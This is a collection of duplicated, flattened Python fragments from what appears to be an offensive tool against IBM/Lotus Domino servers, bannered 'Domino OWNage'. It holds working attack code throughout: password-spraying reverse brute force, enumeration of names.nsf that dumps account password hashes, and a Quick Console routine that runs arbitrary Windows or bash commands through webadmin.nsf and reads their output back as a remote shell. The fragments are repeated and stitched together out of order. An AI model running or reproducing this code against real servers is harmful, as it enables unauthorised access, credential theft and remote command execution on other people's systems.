def fingerprint(target, username, password, auth): domino_version = None version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 'download/filesets/n_LOTUS_SCRIPT.inf', 'download/filesets/l_SEARCH.inf', 'download/filesets/n_SEARCH.inf', 'api', 'homepage.nsf', 'help/readme.nsf' ] for version_file in version_files: try: version_url = "{0}/{1}".format(target, version_file) request = requests.get(version_url, headers=utility.get_headers(), timeout=5, allow_redirects=False, verify=False) if request.status_code == 200: version_regex = re.compile('(version=|version\":\"|domino administrator |domino |release )([0-9.]{1,7})(\s|\")', re.I) if version_regex.search(request.text): domino_version = version_regex.search(request.text).group(2) break except Exception as error: utility.print_error("Error: {0}".format(error)) continue if domino_version: utility.print_good("Domino version: {0}".format(domino_version)) else: utility.print_warn('Unable to fingerprint Domino version!') check_portals(target, username, password, auth)
def fingerprint(target, header): domino_version = None version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 'download/filesets/n_LOTUS_SCRIPT.inf', 'download/filesets/l_SEARCH.inf', 'download/filesets/n_SEARCH.inf' ] for version_file in version_files: try: version_url = "{0}/{1}".format(target, version_file) request = requests.get(version_url, timeout=(5), headers=header, verify=False) if request.status_code == 200: version_regex = re.search("(?i)version=([0-9].[0-9].[0-9])", request.text) if version_regex: domino_version = version_regex.group(1) break else: continue except: continue if domino_version: utility.print_good("Domino version: {0}".format(version_regex.group(1))) else: utility.print_warn('Unable to fingerprint Domino version!')
def reverse_bruteforce(target, usernames, password, auth): username_list = [] valid_usernames = [] names_url = "{0}/names.nsf".format(target) # Import usernames from file username_file = open(usernames, 'r') for username in username_file: username_list.append(username.rstrip()) username_file.close() # Start reverse brute force for username in username_list: jitter = random.random() time.sleep(jitter) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) elif auth == 'open': utility.print_good( "{0} does not require authentication".format(names_url)) break else: utility.print_warn("Could not find {0}".format(names_url)) break if access: utility.print_good("Valid account: {0} {1}".format( username, password)) valid_usernames.append(username) else: pass except KeyboardInterrupt: break except Exception as error: utility.print_error("Error: {0}".format(error)) continue # Print found usernames if len(valid_usernames) > 0: if len(valid_usernames) == 1: plural = '' else: plural = 's' utility.print_status("Found {0} valid account{1}".format( len(valid_usernames), plural)) for valid_username in valid_usernames: print("{0} {1}".format(valid_username, password)) else: utility.print_warn('No valid accounts found')
def enum_accounts(target, username, password, auth): accounts = [] account_urls = [] names_url = "{0}/names.nsf".format(target) for page in range(1, 100000, 1000): pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) else: access = None if access or auth == 'open': if auth == 'basic': request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False) elif auth == 'form': request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False) else: request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False) soup = BeautifulSoup(request.text, 'lxml') empty_page = soup.findAll('h2') if empty_page: break else: links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')] for link in links: account_regex = re.compile('/([a-f0-9]{32}/[a-f0-9]{32})', re.I) if account_regex.search(link) and account_regex.search(link).group(1) not in accounts: accounts.append(account_regex.search(link).group(1)) else: pass else: utility.print_warn("Unable to access {0}, bad username or password!".format(names_url)) break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: if len(accounts) == 1: plural = '' else: plural = 's' utility.print_good("Found {0} account{1}".format(len(accounts), plural)) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid)) async_requests(account_urls, username, password) else: utility.print_warn('No hashes found!')
def reverse_bruteforce(target, usernames, password, auth): username_list = [] valid_usernames = [] names_url = "{0}/names.nsf".format(target) # Import usernames from file username_file = open(usernames, 'r') for username in username_file: username_list.append(username.rstrip()) username_file.close() # Start reverse brute force for username in username_list: jitter = random.random() time.sleep(jitter) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) elif auth == 'open': utility.print_good("{0} does not require authentication".format(names_url)) break else: utility.print_warn("Could not find {0}".format(names_url)) break if access: utility.print_good("Valid account: {0} {1}".format(username, password)) valid_usernames.append(username) else: pass except KeyboardInterrupt: break except Exception as error: utility.print_error("Error: {0}".format(error)) continue # Print found usernames if len(valid_usernames) > 0: if len(valid_usernames) == 1: plural = '' else: plural = 's' utility.print_status("Found {0} valid account{1}".format(len(valid_usernames), plural)) for valid_username in valid_usernames: print("{0} {1}".format(valid_username, password)) else: utility.print_warn('No valid accounts found')
def quick_console(self, command, operator, target, os, path, username, password, session): if session is None: session = requests.Session() session.auth = (username, password) if os == 'windows': raw_command = "load cmd /c {0} {1}\"{2}\domino\html\download\\filesets\log.txt\"".format(command, operator, path) else: raw_command = "load /bin/bash -c \"{0} {1}{2}/domino/html/download/filesets/log.txt\"".format(command, operator, path) # Quick Console commands must be less than 255 characters if len(raw_command) > 255: utility.print_warn('Issued command is too long') else: quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(target, raw_command) response_url = "{0}/download/filesets/log.txt".format(target) # Send commands and handle cleanup send_command = session.get(quick_console_url, headers=utility.get_headers(), verify=False) if send_command.status_code == 200: get_response = session.get(response_url, headers=utility.get_headers(), verify=False) if get_response.status_code == 200 and '>' in operator: print(get_response.text) elif get_response.status_code == 200 and '>' not in operator: utility.print_warn('Unable to delete outfile') elif get_response.status_code == 404 and '>' not in operator: utility.print_good('Outfile sucessfully deleted') else: utility.print_warn('Outfile not found') do_exit else: utility.print_warn('Quick Console is unavaliable') do_exit
def check_access(target, header, username, password): session = requests.Session() session.auth = (username, password) try: webadmin_url = "{0}/webadmin.nsf".format(target) check_webadmin = session.get(webadmin_url, headers=header, verify=False) if check_webadmin.status_code == 200: if 'form method="post"' in check_webadmin.text: utility.print_warn('Unable to access webadmin.nsf, maybe you are not admin?') else: path_url = "{0}/webadmin.nsf/fmpgHomepage?ReadForm".format(target) check_path = session.get(path_url, headers=header, verify=False) path_regex = re.search('>(?i)([a-z]:\\\\[a-z0-9()].+\\\\[a-z].+)\\\\domino\\\\data', check_path.text) if path_regex: path = path_regex.group(1) else: path = None utility.print_status('Could not identify Domino file path, trying defaults...') who_am_i, local_path = test_command(target, header, path, username, password) if who_am_i and local_path: utility.print_good("Running as {0}".format(who_am_i)) Interactive(target, header, local_path, username, password).cmdloop() else: utility.print_warn('Unable to access webadmin.nsf!') elif check_webadmin.status_code == 401: utility.print_warn('Unable to access webadmin.nsf, maybe you are not admin?!') else: utility.print_warn('Unable to find webadmin.nsf!') except Exception as error: utility.print_error("Error: {0}".format(error))
def check_access(target, username, password, auth): webadmin_url = "{0}/webadmin.nsf".format(target) try: # Check access if auth == 'basic': access = utility.basic_auth(webadmin_url, username, password) session = None elif auth == 'form': access, session = utility.form_auth(webadmin_url, username, password) else: session = None # Get local file path path_url = "{0}/webadmin.nsf/fmpgHomepage?ReadForm".format(target) if access or auth == 'open': if auth == 'basic': check_path = requests.get(path_url, headers=utility.get_headers(), auth=(username, password), verify=False) elif auth == 'form': check_path = session.get(path_url, headers=utility.get_headers(), verify=False) else: check_path = requests.get(path_url, headers=utility.get_headers(), verify=False) path_regex = re.compile("DataDirectory\s*=\s*'(.+)';", re.I) if path_regex.search(check_path.text): local_path = path_regex.search(check_path.text).group(1) else: local_path = None utility.print_warn('Could not identify Domino file path') # Get operating system if 'UNIX' in check_path.text: os = 'linux' elif 'Windows' in check_path.text: os = 'windows' else: os = 'windows' utility.print_warn('Could not identify Domino operating system') # Test writing to local file system whoami, path, hostname = test_command(target, os, local_path, username, password, session) if whoami and path: Interactive(target, os, path, username, password, whoami, hostname, session).cmdloop() else: utility.print_warn('Unable to access webadmin.nsf') else: utility.print_warn("Unable to access {0}, might not be an admin".format(webadmin_url)) except Exception as error: utility.print_error("Error: {0}".format(error))
def check_portals(target, username, password, auth): portals = ['names.nsf', 'webadmin.nsf'] for portal in portals: portal_url = "{0}/{1}".format(target, portal) try: # Page not eternally accessible if auth == None: utility.print_warn("Could not find {0}!".format(portal)) # Basic authentication elif auth == 'basic': if len(username) > 0: access = utility.basic_auth(portal_url, username, password) if access: utility.print_good("{0} has access to {1}".format(username, portal_url)) else: utility.print_warn("{0} does not have access to {1}".format(username, portal_url)) else: utility.print_warn("{0} requires authentication!".format(portal_url)) # Form authentication elif auth == 'form': if len(username) > 0: access, session = utility.form_auth(portal_url, username, password) if access: utility.print_good("{0} has access to {1}".format(username, portal_url)) else: utility.print_warn("{0} does not have access to {1}".format(username, portal_url)) else: utility.print_warn("{0} requires authentication!".format(portal_url)) # Page does not require authentication else: utility.print_good("{0} does not require authentication".format(portal_url)) except Exception as error: utility.print_error("Error: {0}".format(error)) continue
def check_portals(target, header): portals = ['names.nsf', 'webadmin.nsf'] for portal in portals: try: portal_url = "{0}/{1}".format(target, portal) request = requests.get(portal_url, headers=header, verify=False) if request.status_code == 200: if 'form method="post"' in request.text: utility.print_warn("{0}/{1} requires authentication".format(target, portal)) else: utility.print_good("{0}/{1} does NOT require authentication".format(target, portal)) elif request.status_code == 401: utility.print_warn("{0}/{1} requires authentication!".format(target, portal)) else: utility.print_warn("Could not find {0}!".format(portal)) except: continue
def enum_accounts(target, header, username, password): accounts = [] account_urls = [] session = requests.Session() session.auth = (username, password) for page in range(1, 100000, 1000): try: pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page) request = session.get(pages, headers=header, timeout=(60), verify=False) if request.status_code == 200: if 'form method="post"' in request.text: utility.print_warn('Unable to access names.nsf, bad username or password!') break else: soup = BeautifulSoup(request.text, 'lxml') empty_page = soup.findAll('h2') if empty_page: break else: links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')] for link in links: account_regex = re.search("/(([a-fA-F0-9]{32})/([a-fA-F0-9]{32}))", link) if account_regex and account_regex.group(1) not in accounts: accounts.append(account_regex.group(1)) else: pass elif request.status_code == 401: utility.print_warn('Unable to access names.nsf, bad username or password!') break else: utility.print_warn('Could not connect to Domino server!') break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: utility.print_good("Found {0} accounts, dumping hashes".format(len(accounts))) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid)) async_requests(account_urls, header, username, password)
if auth_type: # Fingerprint if args.action == 'fingerprint': utility.print_status('Fingerprinting Domino server') fingerprint.fingerprint(target, args.username, ' '.join(args.password), auth_type) # Dump hashes elif args.action == 'hashdump': utility.print_status('Dumping account hashes') hashdump.enum_accounts(target, args.username, ' '.join(args.password), auth_type) # Interact with Quick Console elif args.action == 'console': utility.print_status('Accessing Domino Quick Console') quickconsole.check_access(target, args.username, ' '.join(args.password), auth_type) # Reverse brute force else: if os.path.isfile(args.userlist): utility.print_status("Starting reverse brute force with '{0}' as the password".format(' '.join(args.password))) bruteforce.reverse_bruteforce(target, os.path.abspath(args.userlist), ' '.join(args.password), auth_type) else: utility.print_warn('You must supply a file containing a list of usernames') else: utility.print_error('Failed to establish a connection to the target URL') else: utility.print_warn('Invalid URL provided')
def enum_accounts(target, username, password, auth): accounts = [] account_urls = [] names_url = "{0}/names.nsf".format(target) for page in range(1, 100000, 1000): pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format( target, page) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) else: access = None if access or auth == 'open': if auth == 'basic': request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False) elif auth == 'form': request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False) else: request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False) soup = BeautifulSoup(request.text, 'lxml') # Break if page not found if 'No documents found' in soup.findAll('h2'): break else: links = [ a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]') ] for link in links: account_regex = re.compile( '/([a-f0-9]{32}/[a-f0-9]{32})', re.I) if account_regex.search(link) and account_regex.search( link).group(1) not in accounts: accounts.append( account_regex.search(link).group(1)) else: pass else: utility.print_warn( "Unable to access {0}, bad username or password".format( names_url)) break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: if len(accounts) == 1: plural = '' else: plural = 's' utility.print_good("Found {0} account{1}".format( len(accounts), plural)) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format( target, unid)) async_requests(account_urls, username, password) else: utility.print_warn('No hashes found')
`----------` IBM/Lotus Domino OWNage """)) parser.add_argument('url', help='Domino server URL') parser.add_argument('-u', help='Username or list of usernames', dest='username', default='', required=False) parser.add_argument('-p', help='Password', dest='password', default='', nargs='+', required=False) parser.add_argument('--hashdump', help='Dump Domino hashes', action='store_true', required=False) parser.add_argument('--quickconsole', help='Interact with Domino Quick Console', action='store_true', required=False) parser.add_argument('--bruteforce', help='Reverse brute force Domino server', action='store_true', required=False) args = parser.parse_args() # Process Domino URL target = utility.check_url(args.url) if target == None: utility.print_warn('Please provide a valid URL!') else: # Detect type of authentication the Domino server is using auth_type = utility.detect_auth(target) # Interact with quick console if args.quickconsole: utility.print_status('Accessing Domino Quick Console...') quickconsole.check_access(target, args.username, ' '.join(args.password), auth_type) # Dump hashes elif args.hashdump: utility.print_status('Dumping account hashes...') hashdump.enum_accounts(target, args.username, ' '.join(args.password), auth_type)
utility.print_status('Dumping account hashes') hashdump.enum_accounts(target, args.username, ' '.join(args.password), auth_type) # Interact with Quick Console elif args.action == 'console': utility.print_status('Accessing Domino Quick Console') quickconsole.check_access(target, args.username, ' '.join(args.password), auth_type) # Reverse brute force else: if os.path.isfile(args.userlist): utility.print_status( "Starting reverse brute force with '{0}' as the password" .format(' '.join(args.password))) bruteforce.reverse_bruteforce( target, os.path.abspath(args.userlist), ' '.join(args.password), auth_type) else: utility.print_warn( 'You must supply a file containing a list of usernames' ) else: utility.print_error( 'Failed to establish a connection to the target URL') else: utility.print_warn('Invalid URL provided')